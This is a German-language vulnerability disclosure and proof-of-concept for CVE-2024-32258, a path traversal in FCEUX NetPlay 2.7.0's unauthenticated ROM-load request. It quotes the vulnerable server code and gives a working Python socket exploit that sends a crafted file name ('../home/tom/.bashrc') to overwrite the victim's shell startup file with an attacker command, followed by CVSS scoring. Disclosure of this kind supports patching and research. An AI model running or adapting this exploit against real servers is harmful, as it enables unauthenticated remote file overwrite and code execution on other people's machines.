
Proof-of-Concept-Exploit für CVE-2024-32258, eine Path-Traversal-Schwachstelle in FCEUX NetPlay 2.7.0, die nicht authentifiziertes entferntes Überschreiben beliebiger Dateien über manipulierte ROM-Anfragen ermöglicht.
FCEUX ist ein NES-Emulator, der uns zurück in unsere Kindheit versetzen kann. Er bietet mehrere interessante Funktionen, wie zum Beispiel die Möglichkeit, dass zwei Spieler online Spiele spielen können.
Der Server und der Client können sich gegenseitig ROMs übermitteln, aber der Server filtert keine Sonderzeichen in den vom Client gesendeten ROM-Namen heraus. Diese Path-Traversal-Schwachstelle kann dazu führen, dass beliebige Dateien auf dem Server überschrieben werden. Noch schwerwiegender ist, dass das Remote-Laden von ROMs keine Authentifizierung erfordert, selbst wenn die Servereinstellungen für die Anmeldung ein Passwort verlangen.
Sie wurde während des Commits 798c5a1d9c73b899cdbe3d613c0022588281979f eingeführt - Für NetPlay wurde die Möglichkeit hinzugefügt, dass der Client das Laden eines ROMs anfordern kann.
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
Sowohl msf->fileName als auch fp werden vom Angreifer festgelegt.
Sie können fceux durch Kompilieren des Quellcodes erhalten oder direkt unser kompiliertes Binary verwenden. fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
Viel Spaß! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
Hoch 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
| CVSS3.1 | Score | Detail |
|---|---|---|
| ATTACK VECTOR | Network | Angriff über das Netzwerk starten |
| ATTACK COMPLEXITY | Low | Es genügen zwei gesendete Nachrichten |
| PRIVILEGES REQUIRED | None | Keine Berechtigungen erforderlich, um das Angriffspaket zu senden |
| USER INTERACTION | Require | Klicken Sie auf die Bestätigungsschaltfläche, um das ROM zu laden. |
| SCOPE | Unchanged | na |
| CONFIDENTIALITY | High | Überschreiben beliebiger Dateien |
| INTEGRITY | High | Überschreiben beliebiger Dateien |
| AVAILABILITY | High | Überschreiben beliebiger Dateien |
Yansong Li und Yijie Xun (Northwestern Polytechnical University)